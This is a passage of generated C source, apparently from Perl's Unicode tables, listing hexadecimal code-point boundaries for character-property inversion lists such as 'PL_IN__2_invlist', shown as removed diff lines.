0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__2_invlist[] = { /* for all charsets */ - 624, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F6, - 0x1FA, - 0x218, - 0x250, - 0x2A9, - 0x2B0, - 0x2DF, - 0x2E0, - 0x2EA, - 0x300, - 0x346, - 0x360, - 0x362, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3F4, - 0x401, - 0x40D, - 0x40E, - 0x450, - 0x451, - 0x45D, - 0x45E, - 0x487, - 0x490, - 0x4C5, - 0x4C7, - 0x4C9, - 0x4CB, - 0x4CD, - 0x4D0, - 0x4EC, - 0x4EE, - 0x4F6, - 0x4F8, - 0x4FA, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5A2, - 0x5A3, - 0x5BA, - 0x5BB, - 0x5C5, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x653, - 0x660, - 0x66E, - 0x670, - 0x6B8, - 0x6BA, - 0x6BF, - 0x6C0, - 0x6CF, - 0x6D0, - 0x6EE, - 0x6F0, - 0x6FA, - 0x901, - 0x904, - 0x905, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA02, - 0xA03, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8C, - 0xA8D, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE1, - 0xAE6, - 0xAF0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB36, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB71, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBF3, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6A, - 0xF71, - 0xF8C, - 0xF90, - 0xF96, - 0xF97, - 0xF98, - 0xF99, - 0xFAE, - 0xFB1, - 0xFB8, - 0xFB9, - 0xFBA, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F7, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x202F, - 0x2030, - 0x2047, - 0x206A, - 0x2071, - 0x2074, - 0x208F, - 0x20A0, - 0x20AC, - 0x20D0, - 0x20E2, - 0x2100, - 0x2139, - 0x2153, - 0x2183, - 0x2190, - 0x21EB, - 0x2200, - 0x22F2, - 0x2300, - 0x2301, - 0x2302, - 0x237B, - 0x2400, - 0x2425, - 0x2440, - 0x244B, - 0x2460, - 0x24EB, - 0x2500, - 0x2596, - 0x25A0, - 0x25F0, - 0x2600, - 0x2614, - 0x261A, - 0x2670, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2768, - 0x2776, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x3000, - 0x3038, - 0x303F, - 0x3040, - 0x3041, - 0x3095, - 0x3099, - 0x309F, - 0x30A1, - 0x30FF, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31A0, - 0x3200, - 0x321D, - 0x3220, - 0x3244, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x4E00, - 0x9FA6, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1E, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE45, - 0xFE49, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF5F, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFD, - 0x10000, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 